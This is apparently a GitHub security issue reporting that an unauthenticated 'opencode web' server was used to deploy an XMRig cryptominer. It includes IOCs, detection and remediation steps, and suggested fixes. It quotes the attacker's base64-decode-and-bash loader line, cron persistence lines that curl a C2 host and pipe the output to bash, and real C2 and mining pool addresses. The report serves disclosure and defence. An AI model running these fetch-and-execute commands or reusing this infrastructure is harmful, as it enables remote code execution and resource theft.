anomalyco / anomalyco/opencode
[SECURITY] Cryptominer deployed via unsecured `opencode web` server — insecure default + no access logging
@rekram1-node is already working on this.
Since Jul 25, 2026.
- Dominant language
- TypeScript
- Stars
- 209k
- Forks
- 27.5k
- PR merge metrics
- PR metrics pending
Description
Summary
Two of my Linux hosts were compromised by a Monero (XMRig) cryptominer deployed through an unsecured opencode web server (v1.4.7). The web server was listening on 0.0.0.0:4096 without OPENCODE_SERVER_PASSWORD set, exposing an unauthenticated bash terminal to anyone on the private VPN network.
An automated scanner on the VPN network found the open instance and deployed the miner via the web terminal, gaining full RCE as the owning user. The malware then killed competing processes (including other coding agents) to free CPU for mining.
Attack details
- opencode version: 1.4.7
- Configuration:
opencode web --hostname 0.0.0.0,OPENCODE_SERVER_PASSWORDunset - Network: Private VPN mesh, accessible to all peers
- Impact: Full RCE on 2 hosts, ~95 hours of CPU stolen (12 cores × 100%), system fingerprint exfiltration
- Duration before detection: ~7-8 hours
- Both hosts hit simultaneously — automated scanning
The malware chain
The attacker used the opencode bash tool to execute a single command:
pgrep -x unicorn >/dev/null || echo <BASE64_PAYLOAD> | base64 -d | bash
The payload:
- Downloaded a UPX-packed dropper (camouflaged as
gunicorn) - The dropper killed competing processes and deployed XMRig (camouflaged as
unicorn, stored at~/.claude/CRON) - Installed cron persistence (
*/3 * * * *callback to C2) - Configured mining on 3 Monero pools, all 12 CPU cores,
pause-on-active: false - Exfiltrated system fingerprint (CPU, RAM, VM type, IP → base64 rig-id)
Security concerns
1. opencode web binds to 0.0.0.0 without enforcing authentication
When OPENCODE_SERVER_PASSWORD is not set, the web server still starts and serves the full terminal UI — including bash execution — to anyone who can reach the port. This is a remote code execution vector by default.
Suggestion: Refuse to start on non-localhost interfaces without a password, or print a prominent warning.
2. No HTTP access logging
opencode does not log HTTP requests to the web server. After the attack, there was zero forensic evidence of how the attacker connected — no source IP, no request path, no timestamp. This made it impossible to identify the attacker.
Suggestion: Log HTTP access (source IP, method, path, timestamp) to a file or journal by default.
3. Bash tool execution without confirmation
The web terminal executed the payload as a "synthetic" user action (direct tool execution), with no confirmation prompt or sandboxing.
Indicators of Compromise (IOCs)
C2 / Dropper infrastructure
| Type | Indicator |
|---|---|
| C2 primary | 176.65.148.250 port 6556 |
| C2 fallback | 2.26.99.68 port 6556 |
| Dropper domain | apt-update.com |
| GitLab fallback | Kanedias/xmrig-static |
Mining pools
| Pool | Port |
|---|---|
193.41.68.194 |
53535 |
95.85.237.149 |
53535 |
2.26.99.68 |
53535 |
Filesystem artifacts
| Path | Description |
|---|---|
~/.claude/CRON |
XMRig binary (camouflaged as unicorn) |
~/.claude/config.json |
XMRig pool config |
~/<machine-id> |
UPX-packed dropper (camouflaged as gunicorn) |
Process names (camouflaged)
unicorn→ XMRig minergunicorn→ UPX-packed dropper/killer
Cron persistence
*/3 * * * * curl -s <C2>:6556/ok | base64 -d | bash
@reboot <C2>:6556/ok | base64 -d | bash
Detection
Run these checks on any host running opencode web:
# 1. Cron entries
crontab -l | grep -E "176.65|6556|base64.*bash"
# 2. XMRig binary
ls -la ~/.claude/CRON
# 3. XMRig config
cat ~/.claude/config.json | grep -i "pool\|xmrig\|monero"
# 4. Dropper binary
ls -la ~/$(cat /etc/machine-id)
# 5. Camouflaged processes
ps aux | grep -iE "unicorn|gunicorn" | grep -v grep
# 6. Active C2/pool connections
ss -tn | grep -E "6556|53535"
Remediation (if infected)
# Kill malware processes
pkill -9 -f unicorn; pkill -9 -f gunicorn
# Remove artifacts
rm -f ~/.claude/CRON ~/.claude/config.json ~/<machine-id>
# Clean cron
crontab -l | grep -v "176.65\|base64.*bash" | crontab -
# Block C2 (repeat for each IOC IP)
sudo iptables -A OUTPUT -d <C2_IP> -j DROP
Environment
- OS: Ubuntu 24.04 LTS (2 hosts)
- opencode: 1.4.7
- Network: Private VPN mesh
Happy to provide additional forensic details (session DB extracts, malware binary hashes, payload deobfuscation) if useful.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Assessment
This issue has not been assessed yet.